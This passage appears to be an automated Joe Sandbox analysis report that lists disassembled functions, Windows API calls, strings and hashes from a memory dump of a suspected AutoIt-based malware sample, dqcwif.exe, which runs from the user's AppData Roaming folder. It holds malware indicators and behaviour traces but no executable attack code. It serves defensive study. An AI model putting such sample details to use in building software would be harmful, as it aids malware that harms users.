Part of subcall function 00007FF6B5B22A54: GetWindowLongPtrW.USER32 ref: 00007FF6B5B22A71

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
Instruction ID: 102c35dfb655aceebe07682fb7f262ba9f9a07b07b2dffd3de5eda337883b9a6
Opcode Fuzzy Hash: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
Instruction Fuzzy Hash: 8021F621A08B4186EA509B2998A47B937A1EF86FA0F150334DB6D877DADF7CE841C304

Function 00007FF6B5B2932C Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 00007FF6B5B293BC
GetStockObject.GDI32 ref: 00007FF6B5B293D9
SendMessageW.USER32 ref: 00007FF6B5B293EC

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
Instruction ID: e6485b0a0f067995ff741975ce6c4910c2ebc5e27fa5daa5f65725540bc97696
Opcode Fuzzy Hash: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
Instruction Fuzzy Hash: 112144726087C587E7648B19E4547AABBA0FB89B84F540135DB8D83B99DF7CD884CF00

Function 00007FF6B5BD2264 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B22A54: GetWindowLongPtrW.USER32 ref: 00007FF6B5B22A71

GetClientRect.USER32(?,?,?,?,?,00007FF6B5B6AA36,?,?,?,?,?,?,?,?,?,00007FF6B5B227AF), ref: 00007FF6B5BD22C4
GetCursorPos.USER32(?,?,?,?,?,00007FF6B5B6AA36,?,?,?,?,?,?,?,?,?,00007FF6B5B227AF), ref: 00007FF6B5BD22CF
ScreenToClient.USER32 ref: 00007FF6B5BD22DD
DefDlgProcW.USER32(?,?,?,?,?,00007FF6B5B6AA36,?,?,?,?,?,?,?,?,?,00007FF6B5B227AF), ref: 00007FF6B5BD231F

Part of subcall function 00007FF6B5BCE894: LoadCursorW.USER32 ref: 00007FF6B5BCE945

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ClientCursor$LoadLongProcRectScreenWindow
String ID:
API String ID: 1626762757-0
Opcode ID: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
Instruction ID: 09eefc38320d34c0b56c91a595b782bbdf1e7aaf1a8bd20cb7dce07c0f95c13c
Opcode Fuzzy Hash: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
Instruction Fuzzy Hash: 43213036A4869696EA14DF09E4A15A9B371FB86F84F540131EB4D87B9ECF3CED41CB00

Function 00007FF6B5BCFA78 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 00007FF6B5BCFAA8
ScreenToClient.USER32 ref: 00007FF6B5BCFAC1
ScreenToClient.USER32 ref: 00007FF6B5BCFAE6
InvalidateRect.USER32 ref: 00007FF6B5BCFB02

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
Instruction ID: e8b469750c4d1db74e93456d162cf3da72ec045c9b1a2c6539c764e47bb4ccd7
Opcode Fuzzy Hash: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
Instruction Fuzzy Hash: 4E2124B6A04B41DEEB00CF78D89459C77B0F348B48B004826EB1893B5CEF78DA64CB10

Function 00007FF6B5B5B778 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6B5B48DD0,?,?,0x%p,00007FF6B5B4D8ED), ref: 00007FF6B5B5B782
SetLastError.KERNEL32(?,?,?,00007FF6B5B48DD0,?,?,0x%p,00007FF6B5B4D8ED), ref: 00007FF6B5B5B7EA
SetLastError.KERNEL32(?,?,?,00007FF6B5B48DD0,?,?,0x%p,00007FF6B5B4D8ED), ref: 00007FF6B5B5B800
abort.LIBCMT ref: 00007FF6B5B5B806

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: 93a8c6ec86c577cad6803fb95bafd4c8778ff4d5622681f9be56b0e8e8078c7b
Instruction ID: 4e46ee59d9cf038ba4c665e689d826ab1a96adcd4595eb4a202b8ac09fdf87ea
Opcode Fuzzy Hash: 93a8c6ec86c577cad6803fb95bafd4c8778ff4d5622681f9be56b0e8e8078c7b
Instruction Fuzzy Hash: 7E011720A0924242EA5CA779F5765F811617F4AF90F545538DB1F867DFEE2CAC414600

Function 00007FF6B5B99260 Relevance: 6.0, APIs: 4, Instructions: 37sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 00007FF6B5B99283
Sleep.KERNEL32 ref: 00007FF6B5B99297
QueryPerformanceCounter.KERNEL32 ref: 00007FF6B5B992A2
Sleep.KERNEL32 ref: 00007FF6B5B992CD

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
Instruction ID: d7b6483b001a7f09d014b3312d1a874c69f200b94d000cad0fee45ac2eef5cf9
Opcode Fuzzy Hash: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
Instruction Fuzzy Hash: 3101D610A08B8642EA16572C90605FAF360BFA6F51F044335EA4FA15AADF2CEC858A00

Function 00007FF6B5BD072C Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B22370: ExtCreatePen.GDI32 ref: 00007FF6B5B223FF
Part of subcall function 00007FF6B5B22370: SelectObject.GDI32 ref: 00007FF6B5B22412
Part of subcall function 00007FF6B5B22370: BeginPath.GDI32 ref: 00007FF6B5B2242B
Part of subcall function 00007FF6B5B22370: SelectObject.GDI32 ref: 00007FF6B5B22452

MoveToEx.GDI32 ref: 00007FF6B5BD0771
LineTo.GDI32 ref: 00007FF6B5BD0783
EndPath.GDI32 ref: 00007FF6B5BD0795
StrokePath.GDI32 ref: 00007FF6B5BD07A5

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
Instruction ID: 002ad24bc958b2ef48741ae6ecb66b460e063cf3ae31c4a578ef662819147f39
Opcode Fuzzy Hash: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
Instruction Fuzzy Hash: 55019235A5869142E7404B1AB819BA9AE60BB82F94F284134DF5943BEADF7DDC418B00

Function 00007FF6B5B8D4EC Relevance: 6.0, APIs: 4, Instructions: 24threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00007FF6B5B8D4F6
OpenThreadToken.ADVAPI32(?,?,00000000,00007FF6B5B8CC94), ref: 00007FF6B5B8D509
GetCurrentProcess.KERNEL32(?,?,00000000,00007FF6B5B8CC94), ref: 00007FF6B5B8D513
OpenProcessToken.ADVAPI32(?,?,00000000,00007FF6B5B8CC94), ref: 00007FF6B5B8D524

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
Instruction ID: 689a828a0ef02c3b4e14abfe1dfcbd064e58e859cbfdc689c7651d51215ed150
Opcode Fuzzy Hash: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
Instruction Fuzzy Hash: 43F06561A9950283FB544F65EC24BE823A0AF5AF85F885035CA0EC22D9DF3C9D898301

Function 00007FF6B5B8326E Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF6B5B8326E
GetDC.USER32 ref: 00007FF6B5B8327A
GetDeviceCaps.GDI32 ref: 00007FF6B5B832A4
ReleaseDC.USER32 ref: 00007FF6B5B832C5

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
Instruction ID: 73919253b811bcba9eea215387287bf4f91dc6690a6f4813fdf073f238df3be1
Opcode Fuzzy Hash: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
Instruction Fuzzy Hash: DEE01220A0930686FA109B6A582C6B81254AF46FC1F044030CE0E93BDFDE3C58454700

Function 00007FF6B5B83287 Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF6B5B83287
GetDC.USER32 ref: 00007FF6B5B83293
GetDeviceCaps.GDI32 ref: 00007FF6B5B832A4
ReleaseDC.USER32 ref: 00007FF6B5B832C5

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
Instruction ID: a0c90a1adefd989affb95c188d19e7ac551621e2ead22b7c3b396be58b2cfd44
Opcode Fuzzy Hash: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
Instruction Fuzzy Hash: C3E04820F0934587EB00DB65582C5B811546F46FC1F040030CF0E93BDBDE3D58058700

Function 00007FF6B5B91D10 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 200comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32 ref: 00007FF6B5B91F50

Strings

AutoIt3GUI, xrefs: 00007FF6B5B91E7C
Container, xrefs: 00007FF6B5B91E83

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: ec532330f33b0a9812ac3d9e654419ff88b42a82dbb45e6ba561f09289b70eff
Instruction ID: 25fdff2cdb7c215a3c0c9af0b126de42a6ae5737e8f6f8de73a1dbb1424f9e75
Opcode Fuzzy Hash: ec532330f33b0a9812ac3d9e654419ff88b42a82dbb45e6ba561f09289b70eff
Instruction Fuzzy Hash: 7C912536604B4682DB24DF29E4A06AD73A4FB89F84F518036DF8D8376AEF39D855C300

Function 00007FF6B5B5A09C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B5A0C6
GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6B5B4529A), ref: 00007FF6B5B5A0E2

Strings

C:\Users\user\AppData\Roaming\dqcwif.exe, xrefs: 00007FF6B5B5A0D0

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Roaming\dqcwif.exe
API String ID: 3307058713-3141396715
Opcode ID: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
Instruction ID: 1a2078a396deabeabf581ca709dcb86b5574f9793ed7384a5c07abed9673832c
Opcode Fuzzy Hash: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
Instruction Fuzzy Hash: E1418132A0875285E7199F29F8600F967A5FF46F90B544036EB0E9774ADF3CEC828700

Function 00007FF6B5BC9E08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B2932C: CreateWindowExW.USER32 ref: 00007FF6B5B293BC
Part of subcall function 00007FF6B5B2932C: GetStockObject.GDI32 ref: 00007FF6B5B293D9
Part of subcall function 00007FF6B5B2932C: SendMessageW.USER32 ref: 00007FF6B5B293EC

DestroyWindow.USER32 ref: 00007FF6B5BC9F43

Strings

static, xrefs: 00007FF6B5BC9E54

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Window$CreateDestroyMessageObjectSendStock
String ID: static
API String ID: 3467290483-2160076837
Opcode ID: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
Instruction ID: 5d6cdbd95c44aae50398d8c8e01bf75887213b3c81b0580cb02a0850a0171cd8
Opcode Fuzzy Hash: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
Instruction Fuzzy Hash: 4C412D325086C287D6709F25E4507EEB7A1FB85B91F104235EBE943A9ADF3CE881CB44

Function 00007FF6B5BB5E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5BB61CC: WideCharToMultiByte.KERNEL32 ref: 00007FF6B5BB620C

inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF6B5BB37FB), ref: 00007FF6B5BB5E4D
htons.WSOCK32(?,?,?,?,?,?,?,00007FF6B5BB37FB), ref: 00007FF6B5BB5EDB

Strings

255.255.255.255, xrefs: 00007FF6B5BB5E6A

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: e55c8c587f1448b1a4207f66a752895f1a07630204b4ee05391494375fe3cc25
Instruction ID: e7c74dc46788f8e191d191073cb3492c4c28ce1b05bef0a436e486ef337049bd
Opcode Fuzzy Hash: e55c8c587f1448b1a4207f66a752895f1a07630204b4ee05391494375fe3cc25
Instruction Fuzzy Hash: CB31D432A0864281EB20AF2AD4A05FC3760FB56F94F058531DF5D8339AEE7DD846C701

Function 00007FF6B5BB03C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6B5BB045A

Strings

AUTOITCALLVARIABLE%d, xrefs: 00007FF6B5BB044A
, $, xrefs: 00007FF6B5BB0495

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _snwprintf
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3988819677-2584243854
Opcode ID: c7e08f6a60c99c5d777c2b71318a0fa50eea3cb020f88eb0f1ff8c1330ae95ab
Instruction ID: 3918924373b4037bec700d28def6aa21f0dfea89718fa074169f7447ed2c3468
Opcode Fuzzy Hash: c7e08f6a60c99c5d777c2b71318a0fa50eea3cb020f88eb0f1ff8c1330ae95ab
Instruction Fuzzy Hash: 12315876A08B0695EB10EB69E4A11FC2771FB56B84F504032DB0E97B5ECF78E94AC340

Function 00007FF6B5BCB224 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B2932C: CreateWindowExW.USER32 ref: 00007FF6B5B293BC
Part of subcall function 00007FF6B5B2932C: GetStockObject.GDI32 ref: 00007FF6B5B293D9
Part of subcall function 00007FF6B5B2932C: SendMessageW.USER32 ref: 00007FF6B5B293EC

SetWindowPos.USER32 ref: 00007FF6B5BCB31B

Strings

, xrefs: 00007FF6B5BCB2FE
SysTabControl32, xrefs: 00007FF6B5BCB278

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Window$CreateMessageObjectSendStock
String ID: $SysTabControl32
API String ID: 2080134422-3143400907
Opcode ID: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
Instruction ID: e96cfe5bb52c9053b5e7e0278e4d7d6dc3c63b7e4dabb21ae053116f28ad70d5
Opcode Fuzzy Hash: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
Instruction Fuzzy Hash: 7C3139325087C18AE760CF19A44479AB7A0F785BA4F144339EBA957AD9CF38D8918F40

Function 00007FF6B5B5DC30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6B5B5DCA2
GetFileType.KERNEL32 ref: 00007FF6B5B5DCB8

Strings

@, xrefs: 00007FF6B5B5DCE3

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
